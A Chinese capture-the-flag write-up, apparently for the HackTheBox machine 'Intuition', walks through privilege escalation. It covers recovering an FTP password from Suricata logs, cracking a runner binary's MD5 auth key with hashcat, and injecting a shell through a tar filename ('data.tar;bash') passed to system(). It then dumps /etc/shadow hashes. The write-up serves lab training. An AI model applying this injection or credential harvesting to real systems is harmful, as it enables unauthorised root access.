-rw-r--r-- 1 root root 3893 Oct 26 2023 suricata.log.1-2024040114.backup
-rw-r--r-- 1 root root 68355 Apr 8 14:19 suricata.log.1-2024042213.backup
-rw-r--r-- 1 root root 95100 Apr 22 13:26 suricata.log.1-2024042918.backup -rw-r--r-- 1 root root 990 Apr 1 14:50 suricata.log.4.gz
-rw-r--r-- 1 root root 1412 Oct 19 2023 suricata.log.6.gz
-rw-r--r-- 1 root root 5076 Oct 8 2023 suricata.log.7.gz
这个目录下有很多.gz 文件,全部解压太麻烦,直接使用zgrep可以对gz文件进行搜索,不需要解压
dev_acc@intuition:/var/log/suricata$ zgrep -i "lopez" * --no-filename |jq '.'
{"timestamp": "2024-05-03T06:58:03.365759+0000","flow_id": 1965813157905271,"in_iface": "eth0","event_type": "http","src_ip": "10.10.14.35","src_port": 46580,"dest_ip": "10.10.11.15","dest_port": 80,"proto": "TCP","tx_id": 35,"community_id": "1:4ohTg61tIJYIXsMl+cNNy9C8fvs=","http": {"hostname": "paolosergionavarrolopez.comprezzor.htb","url": "/","http_user_agent": "Fuzz Faster U Fool v2.1.0-dev","http_content_type": "text/html","http_method": "GET","protocol": "HTTP/1.1","status": 301,"redirect": "http://comprezzor.htb/","length": 178}
}
{"timestamp": "2024-05-03T06:58:03.367352+0000","flow_id": 1965813157905271,"in_iface": "eth0","event_type": "fileinfo","src_ip": "10.10.11.15","src_port": 80,"dest_ip": "10.10.14.35","dest_port": 46580,"proto": "TCP","http": {"hostname": "paolosergionavarrolopez.comprezzor.htb","url": "/","http_user_agent": "Fuzz Faster U Fool v2.1.0-dev","http_content_type": "text/html","http_method": "GET","protocol": "HTTP/1.1","status": 301,"redirect": "http://comprezzor.htb/","length": 178},"app_proto": "http","fileinfo": {"filename": "/","sid": [],"gaps": false,"state": "CLOSED","stored": false,"size": 178,"tx_id": 35}
}
{"timestamp": "2024-05-03T06:58:32.985935+0000","flow_id": 14484960212575,"in_iface": "eth0","event_type": "http","src_ip": "10.10.14.35","src_port": 56246,"dest_ip": "10.10.11.15","dest_port": 80,"proto": "TCP","tx_id": 69,"community_id": "1:BpC7c/pPMXbPzWCM+a+vgTSNLcc=","http": {"hostname": "comprezzor.htb","url": "/lopez","http_user_agent": "feroxbuster/2.7.1","http_content_type": "text/html","http_method": "GET","protocol": "HTTP/1.1","status": 404,"length": 207}
}
{"timestamp": "2024-05-03T06:58:32.985943+0000","flow_id": 14484960212575,"in_iface": "eth0","event_type": "fileinfo","src_ip": "10.10.11.15","src_port": 80,"dest_ip": "10.10.14.35","dest_port": 56246,"proto": "TCP","http": {"hostname": "comprezzor.htb","url": "/lopez","http_user_agent": "feroxbuster/2.7.1","http_content_type": "text/html","http_method": "GET","protocol": "HTTP/1.1","status": 404,"length": 207},"app_proto": "http","fileinfo": {"filename": "/lopez","sid": [],"gaps": false,"state": "CLOSED","stored": false,"size": 207,"tx_id": 69}
}
{"timestamp": "2023-09-28T17:43:36.099184+0000","flow_id": 1988487100549589,"in_iface": "ens33","event_type": "ftp","src_ip": "192.168.227.229","src_port": 37522,"dest_ip": "192.168.227.13","dest_port": 21,"proto": "TCP","tx_id": 1,"community_id": "1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp": {"command": "USER","command_data": "lopez","completion_code": ["331"],"reply": ["Username ok, send password."],"reply_received": "yes"}
}
{"timestamp": "2023-09-28T17:43:52.999165+0000","flow_id": 1988487100549589,"in_iface": "ens33","event_type": "ftp","src_ip": "192.168.227.229","src_port": 37522,"dest_ip": "192.168.227.13","dest_port": 21,"proto": "TCP","tx_id": 2,"community_id": "1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp": {"command": "PASS","command_data": "Lopezzz1992%123","completion_code": ["530"],"reply": ["Authentication failed."],"reply_received": "yes"}
}
{"timestamp": "2023-09-28T17:44:32.133372+0000","flow_id": 1218304978677234,"in_iface": "ens33","event_type": "ftp","src_ip": "192.168.227.229","src_port": 45760,"dest_ip": "192.168.227.13","dest_port": 21,"proto": "TCP","tx_id": 1,"community_id": "1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp": {"command": "USER","command_data": "lopez","completion_code": ["331"],"reply": ["Username ok, send password."],"reply_received": "yes"}
}
{"timestamp": "2023-09-28T17:44:48.188361+0000","flow_id": 1218304978677234,"in_iface": "ens33","event_type": "ftp","src_ip": "192.168.227.229","src_port": 45760,"dest_ip": "192.168.227.13","dest_port": 21,"proto": "TCP","tx_id": 2,"community_id": "1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp": {"command": "PASS","command_data": "Lopezz1992%123","completion_code": ["230"],"reply": ["Login successful."],"reply_received": "yes"}
}
dev_acc@intuition:/var/log/suricata$
在lopze 有关的流量中,ftp登录时,
使用凭证lopez:Lopezzz1992%123登录失败(3个z)
使用凭证lopez:Lopezz1992%123登录成功(2个z)
dev_acc@intuition:/var/log/suricata$ su lopez
Password:Lopezz1992%123
lopez@intuition:/var/log/suricata$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)lopez@intuition:/opt/runner2$ sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_ptyUser lopez may run the following commands on intuition:(ALL : ALL) /opt/runner2/runner2
切换账号成功,我们可以以root的权限执行runner2
sys-adm
lopez@intuition:/opt/playbooks$ find / -group sys-adm 2>/dev/null
/opt/runner2
/opt/playbooks
显示缺少key
我们之前ftp里面找到了runner的备份文件我们再看看
Runner1-backup
run-test.sh
#!/bin/bash# List playbooks
./runner1 list# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
没有给完全UHI75GHI****,还差4位,可以尝试爆破
runner1.c
// Version : 1#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"int check_auth(const char* auth_key) {unsigned char digest[MD5_DIGEST_LENGTH];MD5((const unsigned char*)auth_key, strlen(auth_key), digest);char md5_str[33];for (int i = 0; i < 16; i++) {sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);}if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {return 1;} else {return 0;}
}void listPlaybooks() {DIR *dir = opendir(PLAYBOOK_LOCATION);if (dir == NULL) {perror("Failed to open the playbook directory");return;}struct dirent *entry;int playbookNumber = 1;while ((entry = readdir(dir)) != NULL) {if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {printf("%d: %s\n", playbookNumber, entry->d_name);playbookNumber++;}}closedir(dir);
}void runPlaybook(const char *playbookName) {char run_command[1024];snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);system(run_command);
}void installRole(const char *roleURL) {char install_command[1024];snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);system(install_command);
}int main(int argc, char *argv[]) {if (argc < 2) {printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);return 1;}int auth_required = 0;char auth_key[128];for (int i = 2; i < argc; i++) {if (strcmp(argv[i], "-a") == 0) {if (i + 1 < argc) {strncpy(auth_key, argv[i + 1], sizeof(auth_key));auth_required = 1;break;} else {printf("Error: -a option requires an auth key.\n");return 1;}}}if (!check_auth(auth_key)) {printf("Error: Authentication failed.\n");return 1;}if (strcmp(argv[1], "list") == 0) {listPlaybooks();} else if (strcmp(argv[1], "run") == 0) {int playbookNumber = atoi(argv[2]);if (playbookNumber > 0) {DIR *dir = opendir(PLAYBOOK_LOCATION);if (dir == NULL) {perror("Failed to open the playbook directory");return 1;}struct dirent *entry;int currentPlaybookNumber = 1;char *playbookName = NULL;while ((entry = readdir(dir)) != NULL) {if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {if (currentPlaybookNumber == playbookNumber) {playbookName = entry->d_name;break;}currentPlaybookNumber++;}}closedir(dir);if (playbookName != NULL) {runPlaybook(playbookName);} else {printf("Invalid playbook number.\n");}} else {printf("Invalid playbook number.\n");}} else if (strcmp(argv[1], "install") == 0) {installRole(argv[2]);} else {printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);return 1;}return 0;
}
可以看到对比的逻辑就是把传入的auth_key 进行md5运算和0feda17076d793c2ef2870d7427ad4ed比较判断是否一致
hashcat-m 3
➜ crack cat target_md5_hash
0feda17076d793c2ef2870d7427ad4ed
➜ crack hashcat -m 0 -a 3 target_md5_hash "UHI75GHI?a?a?a?a" -i --increment-min 12 --show
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
Reverse
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v3; // rbp@0__int64 fd; // rax@3__int64 v6; // rax@5__int64 v7; // rax@7__int64 v8; // rax@9__int64 v9; // rax@11__int64 v10; // rdi@11__int64 v11; // rax@14__int64 v12; // rax@14__int64 v13; // rax@16__int64 v14; // rax@20__int64 v15; // rax@24__int64 v16; // rax@28__int64 v17; // rax@34__int64 auth_code_key; // rax@34__int64 auth_code_value; // rax@36__int64 *role_file_tar_valiue; // rax@40signed int v21; // [sp-80h] [bp-80h]@22int v22; // [sp-7Ch] [bp-7Ch]@20signed __int64 v23; // [sp-78h] [bp-78h]@22__int64 v24; // [sp-68h] [bp-68h]@3__int64 jsonFd; // [sp-60h] [bp-60h]@5__int64 runObject; // [sp-58h] [bp-58h]@7__int64 action; // [sp-48h] [bp-48h]@11__int64 role_file_tar_key; // [sp-40h] [bp-40h]@34__int64 v29; // [sp-28h] [bp-28h]@14__int64 v30; // [sp-18h] [bp-18h]@20__int64 v31; // [sp-10h] [bp-10h]@28__int64 v32; // [sp-8h] [bp-8h]@1__asm { rep nop edx }v32 = v3;if ( argc != 2 ){sub_1220("Usage: %s <json_file>\n", *argv, envp);return 1;}LODWORD(fd) = fopen_0(argv[1], "r");v24 = fd;if ( !fd ){sub_1250("Failed to open the JSON file");return 1;}LODWORD(v6) = json_loadf_0(fd, 2LL, 0LL);jsonFd = v6;fclose_1(v24);if ( !jsonFd ){fwrite_0("Error parsing JSON data.\n", 1LL, 25LL, stderr);return 1;}LODWORD(v7) = json_object_get_ptr_0(jsonFd, "run");runObject = v7;if ( !v7 || *(_DWORD *)v7 ){fwrite_0("Run key missing or invalid.\n", 1LL, 28LL, stderr);}else{LODWORD(v8) = json_object_get_ptr_0(v7, "action");if ( v8 && *(_DWORD *)v8 == 2 ){LODWORD(v9) = json_string_value_0(v8);action = v9;v10 = v9;if ( !strcmp_0(v9, "list") ){listPlaybooks(v10, "list");}else if ( !strcmp_0(action, "run") ){LODWORD(v11) = json_object_get_ptr_0(runObject, "num");v29 = v11;LODWORD(v12) = json_object_get_ptr_0(jsonFd, "auth_code");if ( !v12 || *(_DWORD *)v12 != 2 || (LODWORD(v13) = json_string_value_0(v12), !check_auth((__int64)&v32, v13)) ){fwrite_0("Authentication key missing or invalid for 'run' action.\n", 1LL, 56LL, stderr);json_decref(jsonFd);return 1;}if ( v29 && *(_DWORD *)v29 == 3 ){v22 = json_integer_value_0(v29);LODWORD(v14) = opendir_0("/opt/playbooks/");v30 = v14;if ( !v14 ){sub_1250("Failed to open the playbook directory");return 1;}v21 = 1;v23 = 0LL;while ( 1 ){LODWORD(v16) = sub_1320(v30);v31 = v16;if ( !v16 )break;if ( *(_BYTE *)(v16 + 18) == 8 ){LODWORD(v15) = sub_1290(v16 + 19, ".yml");if ( v15 ){if ( v21 == v22 ){v23 = v31 + 19;break;}++v21;}}}closedir_0(v30);if ( v23 )runPlaybook((__int64)&v32);elsefwrite_0("Invalid playbook number.\n", 1LL, 25LL, stderr);}else{fwrite_0("Invalid 'num' value for 'run' action.\n", 1LL, 38LL, stderr);}}else if ( !strcmp_0(action, "install") ){LODWORD(v17) = json_object_get_ptr_0(runObject, "role_file");role_file_tar_key = v17;LODWORD(auth_code_key) = json_object_get_ptr_0(jsonFd, "auth_code");if ( !auth_code_key|| *(_DWORD *)auth_code_key != 2|| (LODWORD(auth_code_value) = json_string_value_0(auth_code_key), !check_auth((__int64)&v32, auth_code_value)) )// check auth code ,the key is UHI75GHINKOP{fwrite_0("Authentication key missing or invalid for 'install' action.\n", 1LL, 60LL, stderr);json_decref(jsonFd);return 1;}if ( role_file_tar_key && *(_DWORD *)role_file_tar_key == 2 ){LODWORD(role_file_tar_valiue) = json_string_value_0(role_file_tar_key);installRole((__int64)&v32, role_file_tar_valiue);}else{fwrite_0("Role File missing or invalid for 'install' action.\n", 1LL, 51LL, stderr);}}else{fwrite_0("Invalid 'action' value.\n", 1LL, 24LL, stderr);}}else{fwrite_0("Action key missing or invalid.\n", 1LL, 31LL, stderr);}}json_decref(jsonFd);return 0;
}
installRole()
int __usercall installRole@<eax>(__int64 a1@<rbp>, __int64 *tar_file_path@<rdi>)
{signed __int64 v2; // rsi@2__int64 *v3; // rdi@2__int64 v4; // rdx@2__int64 v5; // rax@4__int64 cmd; // [sp-418h] [bp-418h]@3__int64 v8; // [sp-10h] [bp-10h]@1__int64 v9; // [sp-8h] [bp-8h]@1__asm { rep nop edx }v9 = a1;v8 = *MK_FP(__FS__, 40LL);if ( isTarArchive((__int64)&v9, tar_file_path) ){v2 = 1024LL;snprintf_0(&cmd, 1024LL, "%s install %s", "/usr/bin/ansible-galaxy");v3 = &cmd;system_0(&cmd);}else{v2 = 1LL;v3 = (__int64 *)"Invalid tar archive.\n";fwrite_0("Invalid tar archive.\n", 1LL, 21LL, stderr);}v5 = v8 - *MK_FP(__FS__, 40LL);if ( v8 != *MK_FP(__FS__, 40LL) )LODWORD(v5) = _stack_chk_fail_0(v3, v2, v4);return v5;
}
简单分析一下 installRole这个函数需要传入一个tar文件的路径,并且会检测这个tar文件的内容
走到action = install这个判断下我们需要这样一个json数据
{"run": {"action": "install","role_file": "tar_file.path"},"auth_code": "UHI75GHINKOP"
}
如果我们在role_file的位置使用; 闭合tar_file.path,然后后面加上我们想要执行的命令就可以命令注入
所以我们只需要传入下面这样的json文件
root@intuition:/home/lopez# cat data.json
{"run": {"action":"install","role_file": "/home/lopez/data.tar;bash"},"auth_code": "UHI75GHINKOP"
}
并且把压缩包的名字也修改为data.tar;bash
然后就会在检查的tar文件合法的时候成功绕过
并且会把这个文件名最后拼接最终在system函数后面
lopez@intuition:~$ cat data.json
{"run": {"action":"install","role_file": "/tmp/1.tar;bash"},"auth_code": "UHI75GHINKOP"
}
lopez@intuition:~$ vim data.json
lopez@intuition:~$ cat data.json
{"run": {"action":"install","role_file": "/home/lopez/data.tar;bash"},"auth_code": "UHI75GHINKOP"
}
lopez@intuition:~$ tar -cvf data.tar data.json
data.json
lopez@intuition:~$ pwd
/home/lopez
lopez@intuition:~$ sudo /opt/runner2/runner2 data.json
Invalid tar archive.
lopez@intuition:~$ ls
content data.json data.tar
lopez@intuition:~$ mv data.tar data.tar;bash
mv: 'data.tar' and 'data.tar' are the same file
lopez@intuition:~$ ls ^C
lopez@intuition:~$
lopez@intuition:~$ ^C
lopez@intuition:~$ exit
exit
lopez@intuition:~$ mv data.tar 'data.tar;bash'
lopez@intuition:~$ ls -al
total 48
drwxr-x--- 5 lopez lopez 4096 May 3 08:20 .
drwxr-xr-x 5 root root 4096 Apr 25 11:49 ..
lrwxrwxrwx 1 root root 9 Apr 9 18:26 .bash_history -> /dev/null
-rw-r--r-- 1 lopez lopez 3771 Oct 13 2023 .bashrc
drwx------ 2 lopez lopez 4096 May 3 07:36 .cache
-rw-rw-r-- 1 lopez lopez 64 May 3 07:47 content
-rw-rw-r-- 1 lopez lopez 118 May 3 08:19 data.json
-rw-rw-r-- 1 lopez lopez 10240 May 3 08:19 'data.tar;bash'
drwxrwxr-x 3 lopez lopez 4096 May 3 07:46 .local
-rw-r--r-- 1 lopez lopez 807 Oct 13 2023 .profile
drwx------ 2 lopez lopez 4096 Apr 10 08:21 .ssh
lopez@intuition:~$ sudo /opt/runner2/runner2 data.json
Starting galaxy role install process
idid[WARNING]: - /home/lopez/data.tar was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error
[Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez#
root@intuition:/home/lopez# id
uid=0(root) gid=0(root) groups=0(root)
root@intuition:/home/lopez#
root@intuition:/home/lopez#
root@intuition:/home/lopez# whoami
root
root@intuition:/home/lopez# cat /root/root.txt
Shadow
root@intuition:/home/lopez# cat /etc/shadow | grep \$y
root:$y$j9T$uiniFHjBFerbO..eAx7bI1$A6O8Lt6NG3BS33humdTtnyFe3uTcM3Gew1gldp0S2r4:19656:0:99999:7:::
adam:$y$j9T$RxWDBIbgNBK.1OPH6yR6q0$SkHyQ3QsKfTQ/igOVFsA5pCyosQdsfOkdN2uFL9rJA9:19656:0:99999:7:::
dev_acc:$y$j9T$/RpnqRuqjGaJzDquTAhiG.$CxkGOcqmc2sPEdiTNHySlgqiQwJxr5r6IKNOtuKXjD9:19838:0:99999:7:::
lopez:$y$j9T$iuv2R99Ps/.rTY6fkdya/1$gk87UA.ESt6ObAMJVEkH9oxsy3Qui570dUn4NloxqEC:19643:0:99999:7:::
In Summary
user
enum vhost (dashboard、auth、report) → xss 1 get webDav cookie → xss2 get admin cookie→ generate pdf → ssrf (file protocol ,using %20 bypass white list) → read file → dashboard.py → ftp credential → ssrf (ftp protocol) → welcome_note.txt、private-key → dev_acc
root
find user.db in web directory → adam ftp credential → backup for runner → find log file (suricata ) → find net flow about user’s information (adma 、lopez)→ ftp net flow (lopez login successful) →sudo -l runner2 → anaylysic runner2 (reverse and review the backup file ) → crack auth_key →command inject → root